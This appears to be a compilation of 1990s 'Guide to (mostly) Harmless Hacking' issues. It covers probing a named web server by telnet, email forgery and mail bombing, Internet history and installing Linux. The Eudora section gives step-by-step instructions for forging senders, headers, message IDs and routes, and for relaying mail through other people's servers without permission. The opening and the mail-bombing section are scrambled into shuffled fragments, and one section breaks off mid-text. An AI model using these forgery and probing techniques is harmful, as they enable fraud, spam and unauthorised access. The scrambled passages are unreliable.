0 501 Not Implemented Server: thttpd/1.. But did the programmer figure out how to do all this without calls to root? Just for kicks I try to access the acme. too.. this sounds even more like brand X software.net or any other host on which you gain root.acme.33. Hmm. read and modify any file.. The tiny/turbo/throttling HTTP server does not fork and is very careful about memory.Newbie note: Root! It is the Valhalla of the hard-core cracker..org sysadmin cares enough about security to get a Web server advertised as “secure.org 80 This gives: Trying 204. Break-in city! What a temptation.00</A></ADDRESS</BODY></HTML> This gives information on phreak. <HR> <ADDRESS><A HREF="http://www. Also. you can completely destroy all data on boring.arghhh.” But that software shows major symptoms of being a security risk! So what may we conclude? It looks like phreak.phreak. this is just too tempting. once again we see an interesting split personality. All right. And it’s running on a port. what is thttpd? I do a quick search on Altavista and get the answer: A small. Connected to phreak.” So it’s off-line. Escape character is '^]'. I was set up ready to do a paste to host command.33 . fast. which quickly inserted the following command: <ADDRESS><A HREF="http://www.. 22-Aug-96 19:45:15 GMT <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD> <BODY><H2>501 Not Implemented</H2> The requested method '<ADDRESS><A' is not implemented by this server.org/software/thttpd/">thttpd/1. “Root” is the account on a multi-user computer which allows you to play god. Because the program on port 80 times out on commands in a second or less.. and secure HTTP server.org.. You become the “superuser”! It is the account from which you can enter and use any other account. I do one little experiment: telnet phreak.org URL and get the message “does not have a DNS entry. portable.org/thttpd/">thttpd/1. With root access. The phreak.ISP. But it is only sporadically connected to the Internet. run any program..00 Content-type: text/html Last-modified: Thu. (I am *not* suggesting that you do so!) ************************* Oh.org’s port 80 program: HTTP/1. But whois tells me it is registered with Internic. .00</A></ADDRESS </BODY></HTML> Connection closed by foreign host.75.org does have a Web site.

Now suppose that we did find something seriously bad news at phreak.org. Suppose someone wanted to shut it down. Ah-ah-ah, don’t touch that buggy port 80! Or that tempting port 79! Ping in moderation, only! ******************************** You can go to jail note: Are you are as tempted as I am? These guys have notorious cracker highway port 79 open, AND a buggy port 80! But, once again, I’m telling you, it is against the law to break into nonpublic parts of a computer. If you telnet over US state lines, it is a federal felony. Even if you think there is something illegal on that thttpd server, only someone armed with a search warrant has the right to look it over from the root account. ******************************** First, if in fact there were a problem with phreak.org (remember, this is just being used as an illustration) I would email a complaint to the technical and administrative contacts of the ISPs that provide phreak.org’s connection to the Internet. So I look to see who they are: whois PC.PPP.ABLECOM.NET I get the response: [No name] (PC12-HST) Hostname: PC.PPP.ABLECOM.NET Address: 204.75.33.33 System: Sun 4/110 running SunOS 4.1.3 Record last updated on 30-Apr-95 In this case, since there are no listed contacts, I would email postmaster@ABLECOM.NET. I check out the next ISP: whois ASYLUM.ASYLUM.ORG And get: [No name] (ASYLUM4-HST) Hostname: ASYLUM.ASYLUM.ORG Address: 205.217.4.17 System: ? running ? Record last updated on 30-Apr-96. Again, I would email postmaster@ASYLUM.ORG I check out the last ISP: whois NS.NEXCHI.NET And get: NEXUS-Chicago (BUDDH-HST) 1223 W North Shore, Suite 1E Chicago, IL 60626

Hostname: NS.NEXCHI.NET Address: 204.95.8.2 System: Sun running Unix Coordinator: Torres, Walter (WT51) walter-t@MSN.COM 312-352-1200 Record last updated on 31-Dec-95. So in this case I would email walter-t@MSN.COM with evidence of the offending material. I would also email complaints to postmaster@PC.PPP.ABLECOM.NET and postmaster@ ASYLUM.ASYLUM.ORG. That’s it. Instead of waging escalating hacker wars that can end up getting people thrown in jail, document your problem with a Web site and ask those who have the power to cut these guys off to do something. Remember, you can help fight the bad guys of cyberspace much better from your computer than you can from a jail cell. ************************* Netiquette alert: If you are just burning with curiosity about whether thttpd can be made to crash to root, *DON’T* run experiments on phreak.org’s computer. The sysadmin will probably notice all those weird accesses to port 80 on the shell log file. He or she will presume you are trying to break in, and will complain to your ISP. You will probably lose your account. ************************* ************************* Evil Genius note: The symptoms of being hackable that we see in thttpd are the kind of intellectual challenge that calls for installing Linux on your PC. Once you get Linux up you could install thttpd. Then you may experiment with total impunity. If you should find a bug in thttpd that seriously compromises the security of any computer running it, then what do you do? Wipe the html files of phreak.org? NO! You contact the Computer Emergency Response Team (CERT) at http://cert.org with this information. They will send out an alert. You will become a hero and be able to charge big bucks as a computer security consultant. This is much more phun than going to jail. Trust me. ************************ Guide to (mostly) Harmless Hacking Vol. 1 No. 7 How to Forge Email Using Eudora Pro _________________________________________________________

One of the most popular hacking tricks is forging email. People love to fake out their friends by sending them email that looks like it is from Bill_Gates@microsoft.com, santa@north.pole.org, or beelzebub@heck.mil. Unfortunately, spammers and other undesirables also love to fake email so it’s easy for them to get away with flooding our email accounts with junk. Thanks to these problems, most email programs are good Internet citizens. Pegasus, which runs on Windows, and Pine, which runs on Unix, are fastidious in keeping the people from misusing them. Have you ever tried to forge email using Compuserve or AOL? I’m afraid to ever say something is impossible to hack, but those email programs have all resisted my attempts.

I will admit that the screen name feature of America OnLine allows one to hide behind all sorts of handles. But for industrial strength email forging there is Eudora Pro for Windows 95, Qualcomm’s gift to the Internet and the meanest, baddest email program around. ******************************************************* In this Guide you will learn how to use Eudora Pro to fake email. This will include how to forge: · Who sent the mail · Extra headers to fake the route it took though the Internet · Even the message ID! · And anything else you can imagine · Plus, how to use Eudora for sending your email from other people’s computers -- whether they like it or not. · Plus -- is it possible to use Eudora for mail bombing? ***************************************************************** Some Super Duper haxors will see this chapter and immediately start making fun of it. They will assume I am just going to teach the obvious stuff, like how to put a fake sender on your email. No way. This is serious stuff. For example, check out the full headers of this email: Return-Path: <cmeinel@techbroker.com> Received: from kizmiaz.fu.org (root@kizmiaz.fu.org [206.14.78.160]) by Foo66.com (8.8.6/8.8.6) with ESMTP id VAA09915 for <cpm@foo66.com>; Sat, 13 Sep 1997 21:54:34 -0600 (MDT) Received: from Anteros (pmd08.foo66.com [198.59.176.41]) by kizmiaz.fu.org (8.8.5/8.8.5) with SMTP id UAA29704 for <cpm@foo66.com>; Sat, 13 Sep 1997 20:54:20 -0700 (PDT) Date: Sat, 13 Sep 1997 20:54:20 -0700 (PDT) Message-Id: <2.2.16.19970913214737.530f0502@ayatollah.ir> received: from emout09.mail.ayatollah.ir (emout09.mx.aol.com [198.81.11.24])by Foo66.com (8.8.6/8.8.6) with ESMTP id MAA29967 for <cpm@foo66.com>; Mon, 8 Sep 1997 12:06:09 -0600 (MDT) Favorite-color:turquoise X-Sender: meinel@ayatollah.ir (Unverified) X-Mailer: Windows Eudora Pro Version 2.2 (16) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: cpm@foo66.com From: Carolyn Meinel <cmeinel@techbroker.com> Subject: Test of forged everything I actually sent this email though a PPP connection with my account cpm@foo66.com to myself at that same address. Yes, this email began and ended up at the same computer. However, if you read the headers, this email looks like it was sent by a computer named Anteros, then went to kizmiaz.fu.org, then ayatollah.ir. Sender, it reports, is unverified but appears to be meinel@ayatollah.ir. What is of particular interest is the message ID. Many people, even experienced sysadmins and hackers, assume that even with forged email, the computer name at the end of the message ID is the computer on which the email was written, and the computer that holds the record of who the guy was who forged it. But you can quickly prove with Eudora Pro that you can forge a message ID that references almost any computer, including nonexistent computers. Some of this Guide is clearly amateurish. For hundreds of dollars you can buy an email program from a spammer company that will forge email better and pump it out faster. Still, this learning to forge email on Eudora illustrates many basic principles of email forgery.

Let’s start with the sender’s email address. I managed to myself three different fake addresses in this email: meinel@ayatollah.ir cmeinel@techbroker.com cpm@foo66.com Only the last of these, cpm@foo66.com, was “real.” The other two I inserted myself. There is a legitimate use for this power. In my case, I have several ISPs but like to have everything returned to my email address at my own domain, techbroker.com. But that ayatollah address is purely a joke. Here’s how I put in those names. 1) In Eudora, click “tools” then “options.” This will pull down a menu. 2) Click “Personal Information.” For forging email, you can make every one of these entries fake. 3) The address you put under “Pop account” is where you tell Eudora where to look to pick up your email. But guess what? When you send email you can put a phony host in there. I put “ayatollah.ir.” This generated the line in the header, “Message-Id: <2.2.16.19970913214737.530f0502@ayatollah.ir>.” Some people think the message ID is the best way to track down forged email. Just mail the sysadmin at ayatollah.ir, right? Wrong! 4) “Real name” and “Return address” are what showed up in the header lines “From: Carolyn Meinel <cmeinel@techbroker.com>” and “Return-Path: <cmeinel@techbroker.com>.” I could have made them fake. If they are fake, people can’t reply to you by giving the “reply” command in their email program. 5) Next, while still on the options pulldown, scroll down to “sending mail.” Guess what, under “SMTP Server,” you don’t have to put in the one your ISP offers you to send your email out on. With a little experimentation you can find hundreds -- thousands -- millions -- of other computers that you can use to send email on. However, this must be a real computer that will really send out your email. I picked kizmiaz.fu.org for this one. That accounts for the header lines: Received: from kizmiaz.fu.org (root@kizmiaz.fu.org [206.14.78.160]) by Foo66.com (8.8.6/8.8.6) with ESMTP id VAA09915 for <cpm@foo66.com>; Sat, 13 Sep 1997 21:54:34 -0600 (MDT) Received: from Anteros (pmd08.foo66.com [198.59.176.41]) by kizmiaz.fu.org (8.8.5/8.8.5) with SMTP id UAA29704 for <cpm@foo66.com>; Sat, 13 Sep 1997 20:54:20 -0700 (PDT) How to Make Extra Headers and Fake the Path through the Internet But maybe this doesn’t make a weird enough header for you. Want to make your email even phonier? Even really experienced Eudora users rarely know about how to make extra headers, so it’s a great way to show off. 1) Open Windows Explorer by clicking “start,” then “programs,” then “Windows Explorer.” 2) On the left hand side is a list of directories. Click on Eudora. 3) On the right hand side will be all the directories and files in Eudora. Scroll down them to the files. Click on “eudora.ini.” 4) Eudora.ini is now in Notepad and ready to edit. 5) Fix it up by adding a line at the going to the line entitled “extra headers=“ under [Dialup]. After the “=“ type in something like this:

com (8. smail and qmail only allow one message to be sent to each address per email. there is a totally trivial way to use Eudora to send hundreds of gigantic attached files to one recipient.24])by Foo66. watch out for that cellmate named Spike.ir (emout09.and want to fix it rather than exploit it for greed or hatred. This is no thanks to Eudora itself. in this case I also added “Favorite-color:turquoise. ***************************************************************** Is it Possible to Mail Bomb Using Eudora? The obvious way to mail bomb with Eudora doesn’t work.mx.com>. of sendmail.8.11. contact me for details and we’ll think about whether to trust you.6) with ESMTP id MAA29967 for <cpm@foo66.ayatollah. So it is almost impossible to explain the basics of hacking without revealing the pieces to the puzzle of the perfect forgery and perfect mailbombing. But next time those Global kOS dudes try to snooker you into using one of their mail bomber programs (they claim these programs will keep you safely anonymous but in fact you will get caught) just remember all they are doing is packaging up stuff that anyone who knows two simple tricks could do much better with Eudora. crashing the mail server of the victim’s ISP. But I’m not telling you how because this is. Unfortunately. The mail daemons in common use on the Internet such as sendmail.aol. Of course there are better ways to forge email with Eudora. But the result will be only one message going to that address. and you want to join us at Infowar in solving the problem. Contents of Volume 2: Internet for Dummies Linux! Introduction to TCP/IP Port Surfing! ____________________________________________________________ .mail. a Guide to (mostly) Harmless Hacking.6/8. Mon. be a good guy and don’t abuse it. honest-to-gosh intended FEATURE. the mail forgery problem is a deeply ingrained flaw in the Internet’s basic structure.” ****************************************************** You can go to jail warning: There still are ways for experts to tell where you sent this email from.com [198. OK? Become one of us insiders who see the problem -. So if someone were to use forged email to defraud.81. ************************************************ The ease with which one may forge perfect mail and commit mail bombings which crash entire ISP mail servers and even shut down Internet backbone providers such as has recently happened to AGIS may well be the greatest threat the Internet faces today. If you figure it out. Also. You can add as many extra headers to your email as you want by adding new lines that also start with “extra headers=”. (If you are a legitimate computer security professional. The obvious way is to put the address of your victim into the address list a few thousand times and then attach a really big file. after all. all your email going out from Eudora will include that line in the headers. Get out your manuals and study.) ************************************************ Evil Genius Tip: This deadly mailbomber thingy is a feature. threaten or mail bomb people. 8 Sep 1997 12:06:09 0600 (MDT) With this set up. I’m not happy about revealing this much.8. yes. For example.extraheaders=received:from emout09.

GUIDE TO (mostly) HARMLESS HACKING Vol. 2 Number 1 Internet for Dummies -- skip this if you are a Unix wizard. But if you read on you’ll get some more kewl hacking instructions. ____________________________________________________________ The six Guides to (mostly) Harmless Hacking of Vol. 1 jumped immediately into how-to hacking tricks. But if you are like me, all those details of probing ports and playing with hypotheses and pinging down hosts gets a little dizzying. So how about catching our breath, standing back and reviewing what the heck it is that we are playing with? Once we get the basics under control, we then can move on to serious hacking. Also, I have been wrestling with my conscience over whether to start giving you step-by-step instructions on how to gain root access to other peoples’ computers. The little angel on my right shoulder whispers, “Gaining root without permission on other people’s computers is not nice. So don’t tell people how to do it.” The little devil on my left shoulder says, “Carolyn, all these hackers think you don’t know nothin’! PROOVE to them you know how to crack!” The little angel says, “If anyone reading Guide to (mostly) Harmless Hacking tries out this trick, you might get in trouble with the law for conspiracy to damage other peoples’ computers.” The little devil says, “But, Carolyn, tell people how to crack into root and they will think you are KEWL!” So here’s the deal. In this and the next few issues of Guide to (mostly) Harmless Hacking I’ll tell you several ways to get logged on as the superuser in the root account of some Internet host computers. But the instructions will leave a thing or two to the imagination. My theory is that if you are willing to wade through all this, you probably aren’t one of those cheap thrills hacker wannabes who would use this knowledge to do something destructive that would land you in jail. ***************************** Technical tip: If you wish to become a *serious* hacker, you’ll need Linux (a freeware variety of Unix) on your PC. One r> ------------------------------------------------------------------------

Transfer interrupted! o root legally all you want -- on your own computer. It sure beats struggling around on someone else’s computer only to discover that what you thought was root was a cleverly set trap and the sysadmin and FBI laugh at you all the way to jail. Linux can be installed on a PC with as little as a 386 CPU, only 2 Mb RAM and as little as 20 MB of hard disk. You will need to reformat your hard disk. While some people have successfully installed Linux without trashing their DOS/Windows stuff, don’t count on getting away with it. Backup, backup, backup! ***************************** ***************************** You can go to jail warning: Crack into root on someone else’s computer and the slammer becomes a definite possibility. Think about this: when you see a news story about some hacker getting busted, how often do you recognize the name? How often is the latest bust being done to someone famous, like Dark Tangent or se7en or Emmanuel Goldstein? How about, like, never! That’s because really good hackers figure out how to not do stupid stuff. They learn how to crack into computers for the intellectual challenge and to figure out how to make computers safe from intruders. They don’t bull their way into root and make a mess of things, which tends to inspire sysadmins to call the cops.

********************************* Exciting notice: Is it too boring to just hack into your own Linux machine? Hang in there. Ira Winkler of the National Computer Security Association, Dean Garlick of the Space Dynamics Lab of Utah State University and I are working on setting up hack.net, a place where it will be legal to break into computers. Not only that, we’re looking for sponsors who will give cash awards and scholarships to those who show the greatest hacking skills. Now does that sound like more phun than jail? ***************************** So, let’s jump into our hacking basics tutorial with a look at the wondrous anarchy that is the Internet. Note that these Guides to (mostly) Harmless Hacking focus on the Internet. That is because there are many legal ways to hack on the Internet. Also, there are over 10 million of these readily hackable computers on the Internet, and the number grows every day. Internet Basics No one owns the Internet. No one runs it. It was never planned to be what it is today. It just happened, the mutant outgrowth of a 1969 US Defense Advanced Research Projects Agency experiment. This anarchic system remains tied together because its users voluntarily obey some basic rules. These rules can be summed up in two words: Unix and TCP/IP (with a nod to UUCP). If you understand, truly understand Unix and TCP/IP (and UUCP), you will become a fish swimming in the sea of cyberspace, an Uberhacker among hacker wannabes, a master of the Internet universe. To get technical, the Internet is a world-wide distributed computer/communications network held together by a common communications standard, Transmission Control Protocol/Internet Protocol (TCP/IP) and a bit of UUCP. These standards allow anyone to hook up a computer to the Internet, which then becomes another node in this network of the Internet. All that is needed is to get an Internet address assigned to the new computer, which is then known as an Internet "host," and tie into an Internet communications link. These links are now available in almost all parts of the world. If you use an on-line service from your personal computer, you, too, can temporarily become part of the Internet. There are two main ways to hook up to an on-line service. There is the cybercouch potato connection that every newbie uses. It requires either a point-to-point (PPP) or SLIPconnection, which allows you to run pretty pictures with your Web browser. If you got some sort of packaged software from your ISP, it automatically gives you this sort of connection. Or you can connect with a terminal emulator to an Internet host. This program may be something as simple as the Windows 3.1 “Terminal” program under the “Accessories” icon. Once you have dialed in and connected you are just another terminal on this host machine. It won’t give you pretty pictures. This connection will be similar to what you get on an old-fashioned BBS. But if you know how to use this kind of connection, it could even give you root access to that host. But how is the host computer you use attached to the Internet? It will be running some variety of the Unix operating system. Since Unix is so easy to adapt to almost any computer, this means that almost any computer may become an Internet host. For example, I sometimes enter the Internet through a host which is a Silicon Graphics Indigo computer at Utah State University. Its Internet address is fantasia.idec.sdl.usu.edu. This is a computer optimized for computer animation work, but it can also operate as an Internet host. On other occasions the entry point used may be pegasus.unm.edu, which is an IBM RS 6000 Model 370. This is a computer optimized for research at the University of New Mexico.

Any computer which can run the necessary software -- which is basically the Unix operating system -- has a modem, and is tied to an Internet communications link, may become an Internet node. Even a PC may become an Internet host by running one of the Linux flavors of Unix. After setting it up with Linux you can arrange with the ISP of your choice to link it permanently to the Internet. In fact, many ISPs use nothing more than networked PCs running Linux! As a result, all the computing, data storage, and sending, receiving and forwarding of messages on the Internet is handled by the millions of computers of many types and owned by countless companies, educational institutions, governmental entities and even individuals. Each of these computers has an individual address which enables it to be reached through the Internet if hooked up to a appropriate communications link. This address may be represented in two ways: as a name or a number. The communications links of the Internet are also owned and maintained in the same anarchic fashion as the hosts. Each owner of an Internet host is responsible for finding and paying for a communications link that will get that host tied in with at least one other host. Communications links may be as simple as a phone line, a wireless data link such as cellular digital packet data, or as complicated as a high speed fiber optic link. As long as the communications link can use TCP/IP or UUCP, it can fit into the Internet. Thus the net grows with no overall coordination. A new owner of an Internet host need only get permission to tie into one communications link to one other host. Alternatively, if the provider of the communications link decides this host is, for example, a haven for spammers, it can cut this “rogue site” off of the Internet. The rogue site then must snooker some other communications link into tying it into the Internet again. The way most of these interconnected computers and communications links work is through the common language of the TCP/IP protocol. Basically, TCP/IP breaks any Internet communication into discrete "packets." Each packet includes information on how to rout it, error correction, and the addresses of the sender and recipient. The idea is that if a packet is lost, the sender will know it and resend the packet. Each packet is then launched into the Internet. This network may automatically choose a route from node to node for each packet using whatever is available at the time, and reassembles the packets into the complete message at the computer to which it was addressed. These packets may follow tortuous routes. For example, one packet may go from a node in Boston to Amsterdam and back to the US for final destination in Houston, while another packet from the same message might be routed through Tokyo and Athens, and so on. Usually, however, the communications links are not nearly so torturous. Communications links may include fiber optics, phone lines and satellites. The strength of this packet-switched network is that most messages will automatically get through despite heavy message traffic congestion and many communications links being out of service. The disadvantage is that messages may simply disappear within the system. It also may be difficult to reach desired computers if too many communications links are unavailable at the time. However, all these wonderful features are also profoundly hackable. The Internet is robust enough to survive -- so its inventors claim -- even nuclear war. Yet it is also so weak that with only a little bit of instruction, it is possible to learn how to seriously spoof the system (forged email) or even temporarily put out of commission other people's Internet host computers (flood pinging, for example.) On the other hand, the headers on the packets that carry hacking commands will give away the account information from which a hacker is operating. For this reason it is hard to hide perfectly when on the Internet. It is this tension between this power and robustness and weakness and potential for confusion that makes the Internet a hacker playground.

For example, HERE IS YOUR HACKER TIP YOU’VE BEEN WAITING FOR THIS ISSUE: ftp://ftp.secnet.com This ftp site was posted on the BUGTRAQ list, which is dedicated to discussion of Unix security holes. Moderator is Aleph One, who is a genuine Uberhacker. If you want to subscribe to the BUGTRAQ, email LISTSERV@netspace.org with message “subscribe BUGTRAQ.” Now, back to Internet basics. History of Internet As mentioned above, the Internet was born as a US Advanced Research Projects Agency (ARPA) effort in 1969. Its inventors called it ARPANET. But because of its value in scientific research, the US National Science Foundation (NSF) took it over in 1983. But over the years since then it gradually evolved away from any single source of control. In April 1995 NSF cut the last apron strings. Now the Internet is run by no one. It just happens and grows out of the efforts of those who play with it and struggle with the software and hardware. Nothing at all like this has ever happened before. We now have a computer system with a life of its own. We, as hackers, form a big part of the mutation engine that keeps the Internet evolving and growing stronger. We also form a big part of the immune system of this exotic creature. The original idea of ARPANET was to design a computer and communications network that would eventually become so redundant, so robust, and so able to operate without centralized control, that it could even survive nuclear war. What also happened was that ARPANET evolved into a being that has survived the end of government funding without even a blip in its growth. Thus its anarchic offspring, the Internet, has succeeded beyond the wildest dreams of its original architects. The Internet has grown explosively, with no end in sight. At its inception as ARPANET it held only 4 hosts. A quarter of a century later, in 1984, it contained only 1000 hosts. But over the next 5 years this number grew tenfold to 10,000 (1989). Over the following 4 years it grew another tenfold to 1 million (1993). Two years later, at the end of 1995, the Internet was estimated to have at least 6 million host computers. There are probably over 10 million now. There appears to be no end in sight yet to the incredible growth of this mutant child of ARPANET. In fact, one concern raised by the exponential growth in the Internet is that demand may eventually far outrace capacity. Because now no entity owns or controls the Internet, if the capacity of the communications links among nodes is too small, and it were to become seriously bogged down, it might be difficult to fix the problem. For example, in 1988, Robert Morris, Jr. unleashed a "virus"-type program on the Internet commonly known as the “Morris Worm.” This virus would make copies of itself on whatever computer it was on and then send copies over communications links to other Internet hosts. (It used a bug in sendmail that allowed access to root, allowing the virus to act as the superuser). Quickly the exponential spread of this virus made the Internet collapse from the communications traffic and disk space it tied up. At the time the Internet was still under some semblance of control by the National Science Foundation and was connected to only a few thousand computers. The Net was shut down and all viruses purged from its host computers, and then the Net was put back into operation. Morris, meanwhile, was put in jail.

There is some concern that. Perhaps the single most significant feature of today's Internet is this lack of centralized control. To the surprise of ARPANET's managers.a way to send electronic messages * Usenet -. someone may find a new way to launch a virus that could again shut down the Internet. finger. As you port surfers know. phrases or symbols on each page to other Web pages. and links from specially marked words. This registration is one of the few centralized control features of the Internet. restarting it could be much more time-consuming if this were to happen again.a hypertext publishing network and now the fastest growing part of the Internet. despite improved security measures (for example. the difficulty of control became an issue as early as its first year of operation as ARPANET. dating from the spring of 1992. The World Wide Web The World Wide Web is the newest major feature of the Internet. the original ARPANET architects were probably correct in their assessment that the Net would become more susceptible for massive failure rather than less if some centralized control were in place. decentralized life of its own. A URL is always of the form http://<rest of address>. the NSF quit funding NSFNET. But reestablishing a centralized control today like what existed at the time of the “Morris Worm” is likely to be impossible. * email -. Even if it were possible. Given the loss of centralized control.used primarily by hackers and other Internet oldtimers * gopher -.a way of cataloging and searching for information." This technique makes it possible to tie together many different documents which may be written by many people and stored on many different computers around the world into one hypertext document. In fact.forums in which people can post and view public messages * telnet -." which are like pages in a book. or computer addresses) don't end up being identical. In that year email was spontaneously invented by its users. ping etc. where <rest of address> includes a domain name which must be registered with an organization called InterNIC in order to make sure that two different Web pages (or email addresses. "firewalls").a way to download files from remote Internet computers * Internet relay chat -. This technique is based upon the Universal Resource Locator (URL) standard. Here's how the hypertext of the World Wide Web works. which specifies how to hook up with the computer and access the files within it where the data of a Web page may be stored.real-time text conversations -." If this statement on the "Web page" is . by the second year email accounted for the bulk of the communication over the system. This is rapidly growing obsolete. There are several major features of the Internet: * World Wide Web -. The proliferation of parallel communications links and hosts had by then completely bypassed any possibility of centralized control. Because the Internet had grown to have a fully autonomous. the fiber optics communications backbone which at one time had given NSF the technology to control the system.a way to login to remote Internet computers * file transfer protocol -. in April 1995. It consists of "Web pages. No person or organization is now able to control the Internet. These pages and links together create what is known as "hypertext. The reader would come to a statement such as "our company offers LTL truck service to all major US cities. there are dozens of other interesting but less well known services such as whois.

Once a user knows the address (URL) of a Web page. In its second full year of existence. It is conceivable that. . then it is possible (so long as communications links are available) to almost instantly hook up with this page.com).) There are two major uses of email: private communications. that electronic cash (often called ecash) may play a major role in the world economy. and to carry on discussions among groups of people such as our Happy Hacker list. and broadcasted email. sales reached $400 million.digicash. electronic commerce over the Web is growing fast. MO (http://www. Because of the value of knowing URLs.marktwain. Email Email is the second oldest use of the Internet. Links may be established automatically simply by programming in the URLs of desired Web page links. The almost out-of-control nature of the Internet manifests itself on the World Wide Web. No one needs to ask permission of a central authority to put up a Web page. It may also eventually make national currencies and even taxation as we know it obsolete. In the group discussion mode. the security of money transfers over the Internet is still a major issue. if the hurdle of verifiability may be overcome. email serves to make announcements (one-way broadcasting). there now are many companies and academic institutions that offer searchable indexes (located on the Web) to the World Wide Web.highlighted. so also there is no central authority with control or even knowledge of what is published where on the World Wide Web. But because the Web is constantly growing and changing. Yet despite concerns with verifiability of financial transactions. usually through credit cards. Conversely. 1994. (The first use was to allow people to remotely log in to their choice of one of the four computers on which ARPAnet was launched in 1971. the only way the author of a Web page can prevent other people from reading it or establishing hypertext links to it is to set up a password protection system (or by not having communications links to the rest of the Internet).6 million in sales were conducted over the Web. in 1996. A problem with the World Wide Web is how to find things on it. the Web is being used as a tool in the distribution of a new form of currency. simplifying international trade. The author of a Web page does not need to get permission or make any arrangement with the authors of other Web pages to which he or she wishes to establish links. But in 1995. The Netherlands (http://www. However. Louis. These may include complete schedules and a form to fill out to order a pickup and delivery. Examples of Web sites where one may obtain ecash include the Mark Twain Bank of St. there is no way to create a comprehensive catalog of the entire Web. Today. Some Web pages even offer ways to make electronic payments. every message sent by every member of the list is broadcasted to all other members. known as electronic cash. only some $17. Automated programs such as Web crawlers search the Web and catalog the URLs they encounter as they travel from hypertext link to hypertext link. In addition. or at least the URL of a Web page that links eventually to the desired page. dating back to the ARPAnet of 1972. that means that a click of the reader's computer mouse will take him or her to a new Web page with details. Just as anyone may hook a new computer up to the Internet.com) and Digicash of Amsterdam. When broadcasted. the Web is jammed with commercial sites begging for your credit card information.

which track their movement across the Net." Unlike an email discussion group. Usenet consists of news groups which carry on discussions in the form of "posts. these posts are stored. which is a shell programming language used for the most elite of hacking scripts such as SATAN. In 1979 these problems were addressed by the launch of Usenet. and how hackers can make it go to the wrong places! How to look up UUCP hosts (which are not under the domain name system) is included. Internet Addresses. a member may be deluged with dozens or hundreds of email messages each day. Now. 5. In fact. Some programs such as Pine are sent up to send the same message simultaneously to both email addresses and newsgroups. Unix We discuss “shells” which allow one to write programs (“scripts”) that automate complicated series of Unix commands. The reader is introduced to the concept of scripts which perform hacking functions. Packets and File Permissions This section lets the genie of serious hacking out of the bottle. typically for two weeks or so. they are broadcast to all Internet hosts that are subscribed to carry the news groups to which these posts belong. It offers a series of exercises in which the reader can enjoy gaining access to almost any randomly chosen Internet host. Fundamentals of Elite Hacking: Ports. here is a quick overview of the Internet basics we plan to cover in the next several issues of Guide to (mostly) Harmless Hacking: 1. and many also allow you to email these posts themselves to yourself or other people. Both have similar headers. 4. One problem with email lists is that there was no easy way for people new to these groups to join them. Extra attention is given to UUCP since it is so hackable. by the end of the chapter the reader will have had the chance to practice several dozen techniques for gaining entry to other peoples' computers. As new posts are submitted to a news group. 3. 2 Number 2 Linux! ________________________________________ . awaiting potential readers. We introduce Perl. All Usenet news readers allow you to email the authors of posts. Usenet Usenet was a natural outgrowth of the broadcasted email group discussion list. Another problem is that as the group grows. Domain Names and Routers The reader learns how information is sent to the right places on the Internet. TCP/IP and UUCP This chapter covers the communications links that bind together the Internet from a hackers' perspective. With many Internet connection programs you can see the similarities between Usenet and email. Yet these hacks we teach are 100% legal! GUIDE TO (mostly) HARMLESS HACKING Vol.The two most popular program types used to broadcast to email discussion groups are majordomo and listserv.

But today Unix in all its wonderful flavors still is the operating system to know in order to be a truly elite hacker. Enough said. or inexpensively available on CD-ROMs. There are almost countless variants of Unix that run on PCs. In fact. mail lists and Web sites. ******************** What is the best kind of computer to run Unix on? Unless you are a wealthy hacker who thinks nothing of buying a Sun SPARC workstation. ********************* Historical note: Linux was created in 1991 by a group led by Linus Torvalds of the University of Helsinki. Linux. however. you already have one of these available to you. Linus Torvalds and the many others who have contributed to Linux have done so from the joy of programming and a sense of community with all of us who will hopefully use Linux in the spirit of good guy hacking. Most importantly. news groups. and is sooo wonderfully buggy that it looks like it could become the number one favorite to crack into. But you don't need to depend on your ISP for a machine that lets you play with Unix. You have to use either SLIP or PPP connections to get to use a Web browser that gives you pictures instead on text only. Anyone who sells a modified version of Linux must provide source code to the buyers and allow them to reuse it in their commercial products without charging licensing fees. and a few for Macs. you'll probably do best with some sort of PC. Solaris costs around $700. You can run Unix on your own computer and with a SLIP or PPP connection be directly connected to the Internet. Anyone can sell any variant of Linux and modify it and repackage it.Unix has become the primo operating system of the Internet. *********************** Newbie note: Serial Line Internet Protocol (SLIP) and Point-to-Point Protocol (PPP) connections give you a temporary Internet Protocol (IP) address that allows you to be hooked directly to the Internet. Viva Linux! Viva Torvalds! ********************** Linux consists of the operating system itself (called the "kernel") plus a set of associated programs. has the advantage of being available in many variants (so you can have fun mixing and matching programs from different Linux offerings). Linux is copyrighted under the GNU General Public License. really good. Most of them are free for download. A shell account allows you to give Unix commands on one of your ISP's computers." Under this arrangement the original creators of Linux receive no licensing or shareware fees. If you have hacker friends in your area. a shell log file that shows you doing lots of hacker stuph can be enough for some sysadmins to summarily close your account. Linux may be redistributed to anyone along with the source code. The advantage of using one of these direct connections for your hacking activities is that you will not leave behind a shell log file for your ISP's sysadmin to pore over. FreeBSD and Linux. The three most common variations of Unix that run on PCs are Sun's Solaris. . This arrangement is known as a "copyleft. So far we have assumed that you have been hacking using a shell account that you get through your Internet Service Provider (ISP). FreeBSD is really. True. Windows NT is coming up fast as a common Internet operating system. Even if you are not breaking the law. Unix is the most widely used operating system in the world among computers with more power than PCs. So if you can see pictures on the Web. Linux is supported by many manuals. But you con't find many manuals or newsgroups that cover FreeBSD. most of them probably use Linux and can help you out. But even if someone modifies the source code he or she may not claim copyright for anything created from Linux. Under this agreement.

CD-ROM. And if your hardware is like mine -.When Linux is outlawed.The flames you get from asking questions on Linux newsgroups are of a higher quality than the flames you get for posting to alt.One word: exploits. have them on hand to reference during installation. 5) Get more than one Linux distribution. Although it uses a different file structure. and Smalltalk. Because Linux is freeware.But . C++. 4. it is *much* easier with a 486 or above with 8 MB RAM.Installing Linux on your office PC is like being a postal worker and bringing an Uzi to work. LISP..bestiality. But we are all human. Pascal.Port surf in privacy. So a power user will probably want to boot up in Linux and then be able to run DOS and Windows programs from Linux. compilers and more. like all types of Unix. Add them all to your system and you will be set up to become beyond elite. 10. you can take a long time experimenting with what drivers will work. 5. I finally hit on something that worked by using the boot disk from one distribution with the CD-ROM for another.lots of Brand X and El Cheapo stuph. multi-user operating system.0 CD-ROM set is also really easy to install -. 8. operating system emulators. Ada. grepping other people's files is a no-no. back up your hard disk(s)! In theory you can install Linux without harming your DOS/Windows files. and video card you have. * compilers for programming languages such as Fortran-77 (my favorite!).if you install Linux on your office computer. its autodetection feature was a life-saver. Redhat Linux is famed for being the easiest to install. INSTALLING LINUX is not for the faint of heart! Several tips for surviving installation 